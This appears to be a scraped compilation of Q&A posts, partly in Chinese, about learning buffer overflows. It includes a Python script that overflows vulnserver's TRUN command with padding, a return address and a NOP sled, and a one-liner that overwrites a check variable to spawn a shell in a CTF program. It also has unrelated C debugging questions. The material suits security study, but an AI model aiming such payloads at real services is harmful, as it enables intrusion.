我一直在尝试复制本文中的缓冲区溢出示例3 aleph one
我这样做是为了我正在参加的计算机安全课程中的一个项目的练习,所以拜托,我非常需要你的帮助。我一直在遵循这个例子,边做边执行任务。我的问题是我的计算机中转储的汇编代码gdb(我在 VM Ware 上运行的 debian linux 映像上执行此操作)与本文中的示例不同。我觉得有些结构令人困惑。
这是文章中的一个...
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 …Run Code Online (Sandbox Code Playgroud) 我正在学习缓冲区溢出,并发现了一个程序有点像这样的挑战:
int main() {
do_something()
return 0;
}
void do_something() {
//get inputs
printf("Did something.");
}
void do_something_else() {
printf("Did something else.")
}
Run Code Online (Sandbox Code Playgroud)
假设 中存在缓冲区溢出do_something(),我将如何使其调用该函数do_something_else()?
我目前正在对vulnserver应用程序进行缓冲区溢出测试。用 A 的十六进制值溢出缓冲区似乎没有问题地传递到程序中。EIP 被覆盖也没有问题。但是,当我开始使用 NOP 雪橇时,在每个 NOP 值之后都会传入一个 C2 十六进制值。不知道为什么会这样。我有十六进制转储来向你展示我的意思:
这是我用来创建溢出的python脚本:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",9999))
buff = '\x41' * 2006
shellcode = ...
nop = '\x90' * 16
#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
s.send(overflow.encode())Run Code Online (Sandbox Code Playgroud)
我想知道该错误是在 python 编码/发送数据包时发生的,还是仅仅是由于 vulnserver 的编写方式造成的。
我在ossec-hids存储库上运行了Fortify 静态代码分析器,它报告了src/analysisd/stats.c:415的以下发现:Buffer Overflow: Format String
stats.c 第 415 行的 fscanf() 的格式字符串参数没有正确限制函数可以写入的数据量,这允许程序在分配的内存范围之外写入。此行为可能会损坏数据、使程序崩溃或导致恶意代码的执行
有问题的代码行是这样的:
if (fscanf(fp, "%d", &_RWHour[i][j]) <= 0) {
Run Code Online (Sandbox Code Playgroud)
_RWHour被声明为
static int _RWHour[7][25];
Run Code Online (Sandbox Code Playgroud)
在同一文件的第 33 行。我相信第 33 行的声明和第 415 行的使用之间没有任何阴影_RWHour,因为当我选择第 33 行的声明时,我的 IDE (Visual Studio 2019)_RWHour在 415 中突出显示。
当我查看 的cppreference 文档时fscanf,它显示以下内容:
d匹配十进制整数。数字的格式与基本参数
strtol值的预期相同10
我从上面引用的表格还显示,当没有使用长度修饰符时%d(如所讨论的调用的情况fscanf),参数类型应该是signed int*or unsigned int*。
我的问题是这样的:
在这种情况下,Fortify 的发现有可能是误报吗?int或者,当您将 an …
我正在阅读K&R的书,我有点卡住了.
以下是什么问题?
void getInput(int* output) {
int c, i;
for(i=0; (c = getchar()) != '\n'; i++)
output[i] = c; // printf("%c", c) prints the c value as expected
output[++i] = '\0';
}
Run Code Online (Sandbox Code Playgroud)
当我运行程序时,它永远不会离开循环而我必须Ctrl+C退出.但是,如果我用第五行替换printf("%c", c);,它会在输入并创建新行后打印出所有输入.
这个看起来像我以前的帖子的重复,但它不是.....
这里Valgrind发出以下错误:
udit@udit-Dabba ~/mec $ valgrind --leak-check=full
sendip -v -p ipv6 -f file.txt -6s ::1 -p esp -es 0x20 -eq 0x40
-ei z30 -eI z100 -p tcp -ts 21 -td 21 ::2
==4331== Memcheck, a memory error detector
==4331== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==4331== Using Valgrind-3.6.1 and LibVEX; rerun with -h for copyright info
==4331== Command: sendip -v -p ipv6 -f file.txt -6s ::1 -p esp -es 0x20
-eq 0x40 -ei z30 -eI …Run Code Online (Sandbox Code Playgroud) 从开始到完成缓冲区溢出漏洞,我遇到了很多麻烦.我最终得到了一个sigsegv错误,而不是预期的结果.我刚刚下载了Damn Vulnerable Linux,我从评论中看到的只是'有效教授sql注入...,否则,缓冲区溢出'.
但是我找不到DVL缓冲区溢出的任何教程或示例.有谁知道任何工作?我试过了:
http://www.damnvulnerablelinux.org/
字面上在网站上没有任何东西.
我搜索了很多,只在评论中找到了DVL.
如果有人能指出我正确的方向,我将不胜感激.特别是如果有人执行了缓冲区溢出示例iv DVL.
干杯
我正在观看有关缓冲区溢出的大学讲座,教授最后说道
即使我们能够使用漏洞利用代码填充缓冲区并跳转到该代码,我们仍然无法执行它.
他提到的原因是:
程序员避免使用导致溢出的函数.
随机堆栈偏移:在程序开始时,在堆栈上分配随机的空间量,使得难以预测插入代码的开始.
使用技术来检测堆栈损坏.
不可执行的代码段:仅允许代码从内存的"文本"部分执行.
现在我想知道,现在缓冲区溢出攻击是否仍然存在?或者它已经过时了.
详细解答将非常感谢!
以下是要利用的应用程序的源代码.ch13.c:
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/dash");
}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
在shell中运行后:
python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13
Run Code Online (Sandbox Code Playgroud)
它显示缓冲区内容和"是啊伙计!你赢了!" 但没有新壳.GDB显示新进程已启动但我无法与其进行交互.有没有办法与衍生的shell进行交互,以便它不会很快终止?
我试图找出一步一步地进行藏匿粉碎的方法.我已经使用谷歌无济于事,我仍然不知道为什么我的EIP没有被覆盖.我有这个示例程序:
1 #include <stdio.h>
2 #include <string.h>
3
4 int main(int argc, char *argv[])
5 {
6 char buf[10];
7
8 strcpy(buf, argv[1]);
9 printf("Done.\n");
10 return 0;
11
12 }
Run Code Online (Sandbox Code Playgroud)
它是用编译的
gcc -g -o prog main.c
Run Code Online (Sandbox Code Playgroud)
当我放入很多AAAAAA时,我得到SEGV和寄存器EBP(以及argc和argv地址被覆盖:
Program received signal SIGSEGV, Segmentation fault.
0x08048472 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>, argv=<error reading variable: Cannot access memory at address 0x41414145>)
at main.c:12
12 }
(gdb) info reg
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xb7fbb878 …Run Code Online (Sandbox Code Playgroud)